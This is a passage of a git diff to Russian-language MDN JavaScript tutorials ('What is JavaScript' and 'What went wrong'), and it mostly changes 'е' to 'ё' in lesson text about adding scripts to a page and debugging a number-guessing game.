бы трудно или невозможно реализовать. Они делают то же самое для программирования, что готовые комплекты мебели делают для домашнего строительства - гораздо проще брать готовые панели и скручивать их вместе, чтобы сделать книжную полку, чем самому разрабатывать дизайн, ходить в поисках правильной древесины, вырезать все панели необходимого размера и формы, найти подходящие винты, а затем собрать их вместе, чтобы сделать книжную полку.</p> @@ -120,13 +120,13 @@ function updateName() { <p><strong>Заметка</strong>: Эти API-и <span style="background-color: #f6d5d9;">являются продвинутыми</span>, и мы не будем их рассматривать в нашем курсе, но ссылки, данные выше, предлагают полную документацию, если вы заинтересованы в более подробной информации.</p> </div> -<p>Доступно еще больше! Но пока не заостряйте на этом внимание. Вы не сможете создать следующий Facebook, Google Maps или Instagram после 24 часов изучения JavaScript — сначала нужно изучить основы. И именно для этого вы здесь — давайте двигаться дальше!</p> +<p>Доступно ещё больше! Но пока не заостряйте на этом внимание. Вы не сможете создать следующий Facebook, Google Maps или Instagram после 24 часов изучения JavaScript — сначала нужно изучить основы. И именно для этого вы здесь — давайте двигаться дальше!</p> <h2 id="Что_JavaScript_делает_на_вашей_странице">Что JavaScript делает на вашей странице?</h2> <p>В этой главе мы рассмотрим код и увидим что же действительно происходит, когда на странице запускается JavaScript.</p> -<p>Давайте составим краткий бриф, что же происходит когда мы загружаем страничку в браузере (первое упоминание в статье <a href="/en-US/Learn/CSS/Introduction_to_CSS/How_CSS_works#How_does_CSS_actually_work">Как работает CSS</a>). Когда вы загружаете страничку в браузере, вы запускаете ваш код (HTML, CSS и JavaScript) внутри исполняемой среды (внутри вкладки браузера). Это как будто фабрика берет сырьё (некий код) и выдает продукцию (веб-страничку).</p> +<p>Давайте составим краткий бриф, что же происходит когда мы загружаем страничку в браузере (первое упоминание в статье <a href="/en-US/Learn/CSS/Introduction_to_CSS/How_CSS_works#How_does_CSS_actually_work">Как работает CSS</a>). Когда вы загружаете страничку в браузере, вы запускаете ваш код (HTML, CSS и JavaScript) внутри исполняемой среды (внутри вкладки браузера). Это как будто фабрика берет сырьё (некий код) и выдаёт продукцию (веб-страничку).</p> <p><img alt="" src="https://mdn.mozillademos.org/files/13504/execution.png" style="display: block; margin: 0 auto;"></p> @@ -144,7 +144,7 @@ function updateName() { <h3 id="Последовательность_выполнения_JavaScript">Последовательность выполнения JavaScript</h3> -<p>Обычно, когда браузер сталкивается с блоком JavaScript, он запускает его по порядку, сверху вниз. Это значит, что вам нужно осторожно выбирать порядок. Например, вернемся к блоку JavaScript, который мы видели в первом примере:</p> +<p>Обычно, когда браузер сталкивается с блоком JavaScript, он запускает его по порядку, сверху вниз. Это значит, что вам нужно осторожно выбирать порядок. Например, вернёмся к блоку JavaScript, который мы видели в первом примере:</p> <pre>const para = document.querySelector('p'); @@ -157,7 +157,7 @@ function updateName() { <p>Здесь мы выбираем абзац текста (строка 1), а затем добавляем к нему обнаружение событий (строка 3), чтобы при нажатии на этот абзац выполнялся блок кода <code>updateName()</code> (строки 5–8). Блок кода <code>updateName()</code> (эти типы <span id="result_box" lang="ru"><span>многократно используемых блоков кода</span></span> называются "функции") запрашивает у пользователя новое имя, а затем вставляет это имя в абзац для обновления отображения.</p> -<p>Если вы поменяете порядок первых двух строк кода, он перестанет работать — вместо этого вы получите ошибку <span id="result_box" lang="ru"><span>возвращаемую в консоль браузера</span></span> — <code>TypeError: para is undefined</code>. Это значит, что объект <code>para</code> еще не существует и вы не можете добавить к нему обнаружение событий.</p> +<p>Если вы поменяете порядок первых двух строк кода, он перестанет работать — вместо этого вы получите ошибку <span id="result_box" lang="ru"><span>возвращаемую в консоль браузера</span></span> — <code>TypeError: para is undefined</code>. Это значит, что объект <code>para</code> ещё не существует и вы не можете добавить к нему обнаружение событий.</p> <div class="note"> <p><strong>Заметка</strong>: Это очень частая ошибка — вы должны быть осторожны, чтобы объекты, на которые ссылается ваш код, существовали до того, как вы попытаетесь что-то с ними сделать.</p> @@ -177,7 +177,7 @@ function updateName() { <p>С другой стороны, серверный код запускается на сервере, затем его результаты загружаются и отображаются в браузере. Примеры популярных серверных веб-языков включают PHP, Python, Ruby и ASP.NET. И JavaScript! JavaScript так же может использоваться, как серверный язык, например в популярной среде Node.js — вы можете больше узнать о серверном JavaScript в нашем разделе <a href="/en-US/docs/Learn/Server-side">Dynamic Websites – Server-side programming</a>.</p> -<p>Слово <strong>динамический</strong> используется для описания и клиентского JavaScript, и серверного языка — это относится к возможности обновления отображения веб-страницы/приложения, чтобы показывать разные вещи в разных обстоятельствах, генерируя новый контент по мере необходимости. Серверный код динамически генерирует новый контент на сервере, например достает данные из базы данных, тогда как клиентский JavaScript динамически генерирует новое содержание внутри браузера на клиенте, например создает новую HTML таблицу, вставляя в нее данные полученные с сервера, затем отображает таблицу на веб-странице, которую видит пользователь. В этих двух контекстах значение немного отличается, но связано, и обычно оба подхода (серверный и клиентский) работают вместе.</p> +<p>Слово <strong>динамический</strong> используется для описания и клиентского JavaScript, и серверного языка — это относится к возможности обновления отображения веб-страницы/приложения, чтобы показывать разные вещи в разных обстоятельствах, генерируя новый контент по мере необходимости. Серверный код динамически генерирует новый контент на сервере, например достаёт данные из базы данных, тогда как клиентский JavaScript динамически генерирует новое содержание внутри браузера на клиенте, например создаёт новую HTML таблицу, вставляя в неё данные полученные с сервера, затем отображает таблицу на веб-странице, которую видит пользователь. В этих двух контекстах значение немного отличается, но связано, и обычно оба подхода (серверный и клиентский) работают вместе.</p> <p>Веб-страница без динамического обновления контента называется <strong>статической</strong> — она просто показывает один и тот же контент все время.</p> @@ -189,7 +189,7 @@ function updateName() { <ol> <li>Сначала, сделайте локальную копию нашего файла-примера <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/apply-javascript.html">apply-javascript.html</a>. Сохраните его в удобное для вас место.</li> - <li>Откройте этот файл в вашем браузере и в вашем текстовом редакторе. Вы увидите, что HTML создает простую веб-страницу с активной кнопкой.</li> + <li>Откройте этот файл в вашем браузере и в вашем текстовом редакторе. Вы увидите, что HTML создаёт простую веб-страницу с активной кнопкой.</li> <li>Затем, перейдите в текстовый редактор и добавьте следующие строки перед закрывающим тегом <code></head></code>: <pre class="brush: html"><script> @@ -212,11 +212,11 @@ function updateName() { } });</pre> </li> - <li>Сохраните файл и обновите страницу в браузере — теперь вы должны увидеть, что при нажатии на кнопку создается новый абзац и помещается ниже.</li> + <li>Сохраните файл и обновите страницу в браузере — теперь вы должны увидеть, что при нажатии на кнопку создаётся новый абзац и помещается ниже.</li> </ol> <div class="note"> -<p><strong>Заметка</strong>: Если ваш пример не работает, пройдите еще раз все шаги и проверьте, сделали ли вы все правильно. Сохранили ли вы вашу локальную копию начального кода, как <code>.html</code> файл? Добавили ли ваш {{htmlelement("script")}} элемент после тэга <code></body></code>? Ввели ли вы JavaScript именно так, как показано? <strong>JavaScript регистрозависимый, и очень привередливый. Поэтому вам нужно вводить синтаксис именно так, как показано, в противном случае оно может не работать.</strong></p> +<p><strong>Заметка</strong>: Если ваш пример не работает, пройдите ещё раз все шаги и проверьте, сделали ли вы все правильно. Сохранили ли вы вашу локальную копию начального кода, как <code>.html</code> файл? Добавили ли ваш {{htmlelement("script")}} элемент после тэга <code></body></code>? Ввели ли вы JavaScript именно так, как показано? <strong>JavaScript регистрозависимый, и очень привередливый. Поэтому вам нужно вводить синтаксис именно так, как показано, в противном случае оно может не работать.</strong></p> </div> <div class="note"> @@ -225,7 +225,7 @@ function updateName() { <h3 id="Внешний_JavaScript">Внешний JavaScript</h3> -<p>Это отлично работает, но что если мы хотим поместить наш JavaScript в отдельный файл? Давайте сейчас разберемся с этим.</p> +<p>Это отлично работает, но что если мы хотим поместить наш JavaScript в отдельный файл? Давайте сейчас разберёмся с этим.</p> <ol> <li>Сначала, создайте новый файл в той же папке, что и ваш файл-пример HTML. Назовите его <code>script.js</code> — убедитесь, что у имени файла расширение .js, так как оно распознается, как JavaScript.</li> @@ -254,7 +254,7 @@ for(let i = 0; i < buttons.length ; i++) { <h3 id="Инлайновые_JavaScript_обработчики">Инлайновые JavaScript обработчики</h3> -<p>Обратите внимание, что иногда можно столкнуться с частями JavaScript кода, который живет внутри HTML. Это может выглядеть примерно так:</p> +<p>Обратите внимание, что иногда можно столкнуться с частями JavaScript кода, который живёт внутри HTML. Это может выглядеть примерно так:</p> <div id="Inline_JavaScript_handlers"> <pre class="brush: js example-bad">function createParagraph() { @@ -285,7 +285,7 @@ for(let i = 0; i < buttons.length ; i++) { <p>Это может выглядеть немного длиннее, чем атрибут <code>onclick</code>, но это будет работать для всех кнопок, независимо от того, сколько их на странице, и сколько их удалят или добавят. JavaScript менять не нужно.</p> <div class="note"> -<p><strong>Заметка</strong>: Попробуйте отредактировать вашу версию <code>apply-javascript.html</code> и добавить еще несколько кнопок в файл. После перезагрузки вы должны увидеть, что все кнопки создают параграф, если кликнуть на них. Классно, да?</p> +<p><strong>Заметка</strong>: Попробуйте отредактировать вашу версию <code>apply-javascript.html</code> и добавить ещё несколько кнопок в файл. После перезагрузки вы должны увидеть, что все кнопки создают параграф, если кликнуть на них. Классно, да?</p> </div> <h3 id="Стратегии_загрузки_скриптов">Стратегии загрузки скриптов</h3> @@ -294,7 +294,7 @@ for(let i = 0; i < buttons.length ; i++) { <h2 id="Комментарии">Комментарии</h2> -<p>Так же, как и в HTML и CSS, возможно писать комментарии в вашем JavaScript коде, что будет проигнорировано браузером, и существует только для того, чтобы давать подсказки вашим друзьям-разработчикам о том, как работает код (и лично вам, если вы вернетесь к коду спустя 6 месяцев и не сможете вспомнить, что вы делали). Комментарии очень полезны, и вы должны часто их использовать, особенно для больших приложений. Вот два типа комментариев:</p> +<p>Так же, как и в HTML и CSS, возможно писать комментарии в вашем JavaScript коде, что будет проигнорировано браузером, и существует только для того, чтобы давать подсказки вашим друзьям-разработчикам о том, как работает код (и лично вам, если вы вернётесь к коду спустя 6 месяцев и не сможете вспомнить, что вы делали). Комментарии очень полезны, и вы должны часто их использовать, особенно для больших приложений. Вот два типа комментариев:</p> <ul> <li>Однострочный комментарий пишется после двойного слеша (//), например: @@ -310,7 +310,7 @@ for(let i = 0; i < buttons.length ; i++) { <p>Так, например, мы можем описать наш последний демо-пример JavaScript подобными комментариями:</p> -<pre class="brush: js">// Функция: создает новый параграф и добавляет его вниз тела HTML. +<pre class="brush: js">// Функция: создаёт новый параграф и добавляет его вниз тела HTML. function createParagraph() { var para = document.createElement('p'); @@ -335,6 +335,6 @@ for (var i = 0; i < buttons.length ; i++) { <p>Поздравляем, вы сделали ваш первый шаг в мир JavaScript. Мы начали всего-лишь с теории, чтобы вы привыкли к тому, что вы будете использовать JavaScript, и что именно вы можете делать с его помощью. На этом пути вы увидели несколько примеров кода и выучили, как JavaScript вписывается в остальной код на вашем сайте среди всего прочего.</p> -<p>JavaScript может показаться немного пугающим в данным момент, но не переживайте - в этом курсе мы проведем вас сквозь него простыми шагами, которые имеют смысл, забегая наперед. В следующей главе мы <a href="https://developer.mozilla.org/ru/docs/Learn/JavaScript/%D0%9F%D0%B5%D1%80%D0%B2%D1%8B%D0%B5_%D1%88%D0%B0%D0%B3%D0%B8/A_first_splash">погрузимся непосредственно в практику</a>, подталкивая вас погрузиться в код и сделать ваши собственные примеры JavaScript.</p> +<p>JavaScript может показаться немного пугающим в данным момент, но не переживайте - в этом курсе мы проведём вас сквозь него простыми шагами, которые имеют смысл, забегая наперёд. В следующей главе мы <a href="https://developer.mozilla.org/ru/docs/Learn/JavaScript/%D0%9F%D0%B5%D1%80%D0%B2%D1%8B%D0%B5_%D1%88%D0%B0%D0%B3%D0%B8/A_first_splash">погрузимся непосредственно в практику</a>, подталкивая вас погрузиться в код и сделать ваши собственные примеры JavaScript.</p> <p>{{NextMenu("Learn/JavaScript/Первые_шаги/A_first_splash", "Learn/JavaScript/Первые_шаги")}}</p> diff --git a/files/ru/learn/javascript/first_steps/what_went_wrong/index.html b/files/ru/learn/javascript/first_steps/what_went_wrong/index.html index 1e95ec1c25..a0e0e988cc 100644 --- a/files/ru/learn/javascript/first_steps/what_went_wrong/index.html +++ b/files/ru/learn/javascript/first_steps/what_went_wrong/index.html @@ -27,20 +27,20 @@ original_slug: Learn/JavaScript/Первые_шаги/Что_пошло_не_т <h2 id="Типы_ошибок">Типы ошибок</h2> -<p>Когда вы делаете что-то не так в коде, есть два основных типа ошибок, с которыми вы столкнетесь:</p> +<p>Когда вы делаете что-то не так в коде, есть два основных типа ошибок, с которыми вы столкнётесь:</p> <ul> <li> <p><strong>Синтаксические ошибки:</strong> Это орфографические ошибки в коде, которые фактически заставляют программу вообще не запускаться, или перестать работать на полпути — вам также будут предоставлены некоторые сообщения об ошибках. Обычно они подходят для исправления, если вы знакомы с правильными инструментами и знаете, что означают сообщения об ошибках!</p> </li> - <li><strong>Логические ошибки:</strong> Это ошибки, когда синтаксис действительно правильный, но код не тот, каким вы его предполагали, что означает, что программа работает успешно, но дает неверные результаты. Их часто сложнее находить, чем синтаксические ошибки, так как обычно не возникает сообщение об ошибке, которое направляет вас к источнику ошибки.</li> + <li><strong>Логические ошибки:</strong> Это ошибки, когда синтаксис действительно правильный, но код не тот, каким вы его предполагали, что означает, что программа работает успешно, но даёт неверные результаты. Их часто сложнее находить, чем синтаксические ошибки, так как обычно не возникает сообщение об ошибке, которое направляет вас к источнику ошибки.</li> </ul> -<p>Ладно, все <em>не так</em> просто — есть и другие отличия, которые вы поймете, пока будете изучать язык JavaScript глубже. Однако вышеуказанной классификации достаточно на раннем этапе вашей карьеры. Мы рассмотрим оба эти типа в дальнейшем.</p> +<p>Ладно, все <em>не так</em> просто — есть и другие отличия, которые вы поймёте, пока будете изучать язык JavaScript глубже. Однако вышеуказанной классификации достаточно на раннем этапе вашей карьеры. Мы рассмотрим оба эти типа в дальнейшем.</p> <h2 id="Ошибочный_пример">Ошибочный пример</h2> -<p>Чтобы начать работу, давайте вернемся к нашей игре с угадыванием чисел — за исключением того, что мы будем изучать версию с некоторыми преднамеренными ошибками. Перейдите в Github и сделайте себе локальную копию <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/troubleshooting/number-game-errors.html">number-game-errors.html</a> (см. здесь <a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/troubleshooting/number-game-errors.html">как это работает</a>).</p> +<p>Чтобы начать работу, давайте вернёмся к нашей игре с угадыванием чисел — за исключением того, что мы будем изучать версию с некоторыми преднамеренными ошибками. Перейдите в Github и сделайте себе локальную копию <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/troubleshooting/number-game-errors.html">number-game-errors.html</a> (см. здесь <a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/troubleshooting/number-game-errors.html">как это работает</a>).</p> <ol> <li>Чтобы начать работу, откройте локальную копию внутри вашего любимого текстового редактора и вашего браузера.</li> @@ -48,27 +48,27 @@ original_slug: Learn/JavaScript/Первые_шаги/Что_пошло_не_т </ol> <div class="note"> -<p><strong>Примечание:</strong> Возможно, у вас может быть собственная версия игрового примера, которая не работает, которую вы можете исправить! Мы по-прежнему хотели бы, чтобы вы работали над статьей с нашей версией, чтобы вы могли изучать методы, которые мы здесь преподаем. Затем вы можете вернуться и попытаться исправить ваш пример.</p> +<p><strong>Примечание:</strong> Возможно, у вас может быть собственная версия игрового примера, которая не работает, которую вы можете исправить! Мы по-прежнему хотели бы, чтобы вы работали над статьёй с нашей версией, чтобы вы могли изучать методы, которые мы здесь преподаём. Затем вы можете вернуться и попытаться исправить ваш пример.</p> </div> <p>На этом этапе давайте рассмотрим консоль разработчика, чтобы увидеть, можем ли мы видеть какие-либо синтаксические ошибки, а затем попытаемся их исправить. Вы узнаете, как это сделать, ниже.</p> <h2 id="Исправление_синтаксических_ошибок">Исправление синтаксических ошибок</h2> -<p>Раньше в курсе мы заставили вас набрать некоторые простые команды JavaScript в <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">консоль разработчика JavaScript</a> (если вы не можете вспомнить, как открыть это в своем браузере, следуйте предыдущей ссылке, чтобы узнать, как это сделать). Что еще более полезно, так это то, что консоль предоставляет вам сообщения об ошибках всякий раз, когда существует синтаксическая ошибка внутри JavaScript, которая подается в механизм JavaScript браузера. Теперь пойдем на охоту.</p> +<p>Раньше в курсе мы заставили вас набрать некоторые простые команды JavaScript в <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">консоль разработчика JavaScript</a> (если вы не можете вспомнить, как открыть это в своём браузере, следуйте предыдущей ссылке, чтобы узнать, как это сделать). Что ещё более полезно, так это то, что консоль предоставляет вам сообщения об ошибках всякий раз, когда существует синтаксическая ошибка внутри JavaScript, которая подаётся в механизм JavaScript браузера. Теперь пойдём на охоту.</p> <ol> <li>Перейдите на вкладку, в которой у вас есть number-game-errors.html, и откройте консоль JavaScript. Вы должны увидеть сообщение об ошибке в следующих строках: <img alt="" src="https://mdn.mozillademos.org/files/13496/not-a-function.png" style="display: block; margin: 0 auto;"></li> - <li>Это довольно простая ошибка для отслеживания, и браузер дает вам несколько полезных бит информации, которые помогут вам (скриншот выше от Firefox, но другие браузеры предоставляют аналогичную информацию). Слева направо, у нас есть: + <li>Это довольно простая ошибка для отслеживания, и браузер даёт вам несколько полезных бит информации, которые помогут вам (скриншот выше от Firefox, но другие браузеры предоставляют аналогичную информацию). Слева направо, у нас есть: <ul> <li>Красный «x» означает, что это ошибка.</li> <li>Сообщение об ошибке, указывающее, что пошло не так: «TypeError: guessSubmit.addeventListener не является функцией»</li> <li>Ссылка «Узнать больше», которая ссылается на страницу MDN, которая объясняет, что эта ошибка означает в огромных количествах деталей.</li> - <li>Имя файла JavaScript, который ссылается на вкладку «Отладчик» консоли разработчика. Если вы перейдете по этой ссылке, вы увидите точную строку, где подсвечивается ошибка.</li> + <li>Имя файла JavaScript, который ссылается на вкладку «Отладчик» консоли разработчика. Если вы перейдёте по этой ссылке, вы увидите точную строку, где подсвечивается ошибка.</li> <li>Номер строки, в которой находится ошибка, и номер символа в этой строке, где первая ошибка. В этом случае у нас есть строка 86, символ номер 3.</li> </ul> </li> - <li>Если мы посмотрим на строку 86 в нашем редакторе кода, мы найдем эту строку: + <li>Если мы посмотрим на строку 86 в нашем редакторе кода, мы найдём эту строку: <pre class="brush: js"><font><font>guessSubmit.addeventListener('click', checkGuess);</font></font></pre> </li> <li>В сообщении об ошибке говорится, что «guessSubmit.addeventListener не является функцией», поэтому мы, вероятно, где-то ошиблись. Если вы не уверены в правильности написания синтаксиса, часто бывает полезно найти функцию на MDN. Лучший способ сделать это в настоящее время — поиск «mdn <em>имя-функции</em>» в вашей любимой поисковой системе. Вот ссылка, которая поможет сократить вам некоторое время в данном случае: <code><a href="/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code>.</li> @@ -96,20 +96,20 @@ original_slug: Learn/JavaScript/Первые_шаги/Что_пошло_не_т <li>Посмотрите на строку 78, и вы увидите следующий код: <pre class="brush: js"><font><font>lowOrHi.textContent = «Последнее предположение было слишком высоко!»;</font></font></pre> </li> - <li>Эта строка пытается установить свойство <code>textContent</code> переменной <code>lowOrHi</code> как текстовую строку, но это не работает, поскольку <code>lowOrHi</code> не содержит того, что должна. Давайте посмотрим, почему так происходит — попробуйте найти другие экземпляры <code>lowOrHi</code> в коде. Самый ранний экземпляр, который вы найдете в JavaScript, находится в строке 48: + <li>Эта строка пытается установить свойство <code>textContent</code> переменной <code>lowOrHi</code> как текстовую строку, но это не работает, поскольку <code>lowOrHi</code> не содержит того, что должна. Давайте посмотрим, почему так происходит — попробуйте найти другие экземпляры <code>lowOrHi</code> в коде. Самый ранний экземпляр, который вы найдёте в JavaScript, находится в строке 48: <pre class="brush: js"><font><font>var lowOrHi = document.querySelector('lowOrHi');</font></font></pre> </li> <li>На этом этапе мы пытаемся заставить переменную содержать ссылку на элемент документа HTML. Давайте проверим, является ли значение <code>null</code> после выполнения этой строки. Добавьте следующий код в строку 49: <pre class="brush: js">console.log(lowOrHi); </pre> </li> - <li>Сохраните и обновите, и вы должны увидеть результат работы <code>console.log()</code> в консоли браузера. <img alt="" src="https://mdn.mozillademos.org/files/13494/console-log-output.png" style="display: block; margin: 0 auto;"> Разумеется, значение <code>lowOrHi</code> на данный момент равно <code>null</code>, поэтому определенно существует проблема в строке 48.</li> + <li>Сохраните и обновите, и вы должны увидеть результат работы <code>console.log()</code> в консоли браузера. <img alt="" src="https://mdn.mozillademos.org/files/13494/console-log-output.png" style="display: block; margin: 0 auto;"> Разумеется, значение <code>lowOrHi</code> на данный момент равно <code>null</code>, поэтому определённо существует проблема в строке 48.</li> <li>Давайте подумаем о том, что может быть проблемой. Строка 48 использует метод <code><a href="/en-US/docs/Web/API/Document/querySelector">document.querySelector()</a></code> для получения ссылки на элемент, выбирая его с помощью селектора CSS. Посмотрев далее наш файл, мы можем найти обсуждаемый элемент <code><p></code>: <pre class="brush: js"><p class="lowOrHi"></p> </pre> </li> <li>Поэтому нам нужен селектор классов, который начинается с точки (.), но селектор, передаваемый в метод <code>querySelector()</code> в строке 48, не имеет точки. Возможно, это и есть проблема! Попробуйте изменить <code>lowOrHi</code> на <code>.lowOrHi</code> в строке 48.</li> - <li>Повторите попытку сохранения и обновления, и ваш вызов <code>console.log()</code> должен вернуть элемент <code><p></code>, который мы хотим. Уф! Еще одна ошибка исправлена! Вы можете удалить строку с <code>console.log()</code> сейчас, или оставить для дальнейшего применения — выбирайте сами.</li> + <li>Повторите попытку сохранения и обновления, и ваш вызов <code>console.log()</code> должен вернуть элемент <code><p></code>, который мы хотим. Уф! Ещё одна ошибка исправлена! Вы можете удалить строку с <code>console.log()</code> сейчас, или оставить для дальнейшего применения — выбирайте сами.</li> </ol> <div class="note"> @@ -126,12 +126,12 @@ original_slug: Learn/JavaScript/Первые_шаги/Что_пошло_не_т <h2 id="Логическая_ошибка">Логическая ошибка</h2> -<p>На этом этапе игра должна проходить отлично, однако, поиграв несколько раз, вы, несомненно заметите, что случайное число, которое вы должны угадать, всегда 0 или 1. Определенно не совсем так, как мы хотим, чтобы игра была разыграна!</p> +<p>На этом этапе игра должна проходить отлично, однако, поиграв несколько раз, вы, несомненно заметите, что случайное число, которое вы должны угадать, всегда 0 или 1. Определённо не совсем так, как мы хотим, чтобы игра была разыграна!</p> <p>Безусловно, где-то в игре есть логическая ошибка — игра не возвращает ошибку, она просто работает неправильно.</p> <ol> - <li>Найдем переменную <code>randomNumber</code> , и строку где в первый раз устанавливали случайное число. Пример, в котором мы храним случайное число, которое должны угадать, на строке 44: + <li>Найдём переменную <code>randomNumber</code> , и строку где в первый раз устанавливали случайное число. Пример, в котором мы храним случайное число, которое должны угадать, на строке 44: <pre class="brush: js">var randomNumber = Math.floor(Math.random()) + 1; </pre> @@ -140,11 +140,11 @@ original_slug: Learn/JavaScript/Первые_шаги/Что_пошло_не_т <pre class="brush: js">randomNumber = Math.floor(Math.random()) + 1; </pre> </li> - <li>Чтобы проверить, действительно ли проблема в этом, давайте обратимся к нашему другу <code>console.log()</code> снова — вставьте ее ниже строк с ошибками: + <li>Чтобы проверить, действительно ли проблема в этом, давайте обратимся к нашему другу <code>console.log()</code> снова — вставьте её ниже строк с ошибками: <pre class="brush: js">console.log(randomNumber); </pre> </li> - <li>Сохраните и обновите, а дальше попробуйте пару раз сыграть — в консоли вы увидите что <code>randomNumber</code> равна 1 в каждой точке, где вы ее записали после строк с ошибками.</li> + <li>Сохраните и обновите, а дальше попробуйте пару раз сыграть — в консоли вы увидите что <code>randomNumber</code> равна 1 в каждой точке, где вы её записали после строк с ошибками.</li> </ol> <h3 id="Работаем_через_логику">Работаем через логику</h3> @@ -153,11 +153,11 @@ original_slug: Learn/JavaScript/Первые_шаги/Что_пошло_не_т <pre class="brush: js"><font><font>Math.random()</font></font></pre> -<p>Дальше, мы передаем результат вызова <code>Math.random()</code> через <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/floor">Math.floor()</a></code>, который округляет число вниз, до ближайшего целого числа. Затем мы добавляем 1 к данному результату:</p> +<p>Дальше, мы передаём результат вызова <code>Math.random()</code> через <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/floor">Math.floor()</a></code>, который округляет число вниз, до ближайшего целого числа. Затем мы добавляем 1 к данному результату:</p> <pre><font><font>Math.floor(Math.random()) + 1;</font></font></pre> -<p>Округление случайного десятичного числа к меньшему, всегда будет возвращать 0, так что добавление к нему единицы будет возвращать всегда 1. Нам нужно умножить случайное число на 100, прежде чем мы округлим его к меньшему. Следующая строка вернет нам случайное число между 0 и 99:</p> +<p>Округление случайного десятичного числа к меньшему, всегда будет возвращать 0, так что добавление к нему единицы будет возвращать всегда 1. Нам нужно умножить случайное число на 100, прежде чем мы округлим его к меньшему. Следующая строка вернёт нам случайное число между 0 и 99:</p> <pre class="brush: js"><font><font>Math.floor(Math.random() * 100);</font></font></pre> @@ -167,9 +167,9 @@ original_slug: Learn/JavaScript/Первые_шаги/Что_пошло_не_т <p>А теперь, исправьте обе строки с ошибками, затем сохраните и обновите, игра должна работать так, как мы и планировали!</p> -<h2 id="Другие_распространенные_ошибки">Другие распространенные ошибки</h2> +<h2 id="Другие_распространённые_ошибки">Другие распространённые ошибки</h2> -<p>Существуют и другие распространенные ошибки, которые вы обнаружите в своем коде. В этом разделе показано большинство из них.</p> +<p>Существуют и другие распространённые ошибки, которые вы обнаружите в своём коде. В этом разделе показано большинство из них.</p> <h3 id="SyntaxError_отсутствует_перед_постановкой"><font><font>SyntaxError: отсутствует ; </font><font>перед постановкой</font></font></h3> @@ -209,7 +209,7 @@ original_slug: Learn/JavaScript/Первые_шаги/Что_пошло_не_т <h3 id="SyntaxError_missing_after_property_id">SyntaxError: missing : after property id</h3> -<p dir="ltr">Эта ошибка обычно связана с неправильно сформированным объектом JavaScript, но в этом случае нам удалось получить ее, изменив</p> +<p dir="ltr">Эта ошибка обычно связана с неправильно сформированным объектом JavaScript, но в этом случае нам удалось получить её, изменив</p> <pre class="brush: js"><font><font>function checkGuess() {</font></font></pre> @@ -226,12 +226,12 @@ original_slug: Learn/JavaScript/Первые_шаги/Что_пошло_не_т <h3 id="SyntaxError_expected_expression_got_string_or_SyntaxError_unterminated_string_literal">SyntaxError: expected expression, got '<em>string</em>' or SyntaxError: unterminated string literal</h3> -<p><font><font>Эти ошибки обычно означает, что вы пропустили открывающую или закрывающую кавычку для строковых значений. </font><font>В первой ошибки выше, </font></font><em><font><font>строка</font></font></em><font><font> будет заменена на неожиданный персонаж (ей) , </font><font>что браузер нашел вместо кавычек в начале строки. </font><font>Вторая ошибка означает , </font><font>что строка не закончилась кавычки.</font></font></p> +<p><font><font>Эти ошибки обычно означает, что вы пропустили открывающую или закрывающую кавычку для строковых значений. </font><font>В первой ошибки выше, </font></font><em><font><font>строка</font></font></em><font><font> будет заменена на неожиданный персонаж (ей) , </font><font>что браузер нашёл вместо кавычек в начале строки. </font><font>Вторая ошибка означает , </font><font>что строка не закончилась кавычки.</font></font></p> <p>При всех этих ошибках действуйте так, как в наших примерах, которые мы рассмотрели в пошаговом руководстве. Когда возникает ошибка, посмотрите полученный номер строки, перейдите к этой строке и посмотрите, можете ли вы определить, что случилось. Имейте в виду, что ошибка не обязательно будет на этой строке, а также, что ошибка может быть вызвана не такой же проблемой, которую мы привели выше!</p> <div class="note"> -<p><strong><font><font>Примечание</font></font></strong><font><font> : Смотрите наш </font></font><a href="/en-US/docs/Web/JavaScript/Reference/Errors/Unexpected_token"><font><font>SyntaxError: Неожиданный токен</font></font></a><font><font> и </font></font><a href="/en-US/docs/Web/JavaScript/Reference/Errors/Unterminated_string_literal"><font><font>SyntaxError: незавершенная строка</font></font></a><font><font> эталонных страниц для получения </font><font>более подробной информации об этих ошибках.</font></font></p> +<p><strong><font><font>Примечание</font></font></strong><font><font> : Смотрите наш </font></font><a href="/en-US/docs/Web/JavaScript/Reference/Errors/Unexpected_token"><font><font>SyntaxError: Неожиданный токен</font></font></a><font><font> и </font></font><a href="/en-US/docs/Web/JavaScript/Reference/Errors/Unterminated_string_literal"><font><font>SyntaxError: незавершённая строка</font></font></a><font><font> эталонных страниц для получения </font><font>более подробной информации об этих ошибках.</font></font></p> </div> <h2 id="Резюме"><font><font>Резюме</font></font></h2> @@ -243,7 +243,7 @@ original_slug: Learn/JavaScript/Первые_шаги/Что_пошло_не_т <div> <ul> <li><font><font>Есть много других типов ошибок, которые не перечислены здесь; </font><font>мы составляем ссылку , </font><font>которая объясняет , </font><font>что они означают подробно - см. </font></font><a href="/en-US/docs/Web/JavaScript/Reference/Errors"><font><font>ссылку ошибки JavaScript</font></font></a><font><font> .</font></font></li> - <li><font><font>Если вы столкнетесь с любыми ошибками в коде, </font><font>которые вы не знаете , </font><font>как исправить после прочтения этой статьи, вы можете получить помощь! </font><font>Спросите на </font></font><a class="external external-icon" href="https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294"><font><font>нить обучения Область дискурсе</font></font></a><font><font> , или в </font></font><a href="irc://irc.mozilla.org/mdn"><font><font>#mdn</font></font></a><font><font> IRC канал на </font></font><a class="external external-icon" href="https://wiki.mozilla.org/IRC"><font><font>Mozilla IRC</font></font></a><font><font>. </font><font>Расскажите нам, какая</font><font> у вас ошибка, и мы постараемся вам помочь. </font><font>Приложите пример своего кода для большей ясности проблемы.</font></font></li> + <li><font><font>Если вы столкнётесь с любыми ошибками в коде, </font><font>которые вы не знаете , </font><font>как исправить после прочтения этой статьи, вы можете получить помощь! </font><font>Спросите на </font></font><a class="external external-icon" href="https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294"><font><font>нить обучения Область дискурсе</font></font></a><font><font> , или в </font></font><a href="irc://irc.mozilla.org/mdn"><font><font>#mdn</font></font></a><font><font> IRC канал 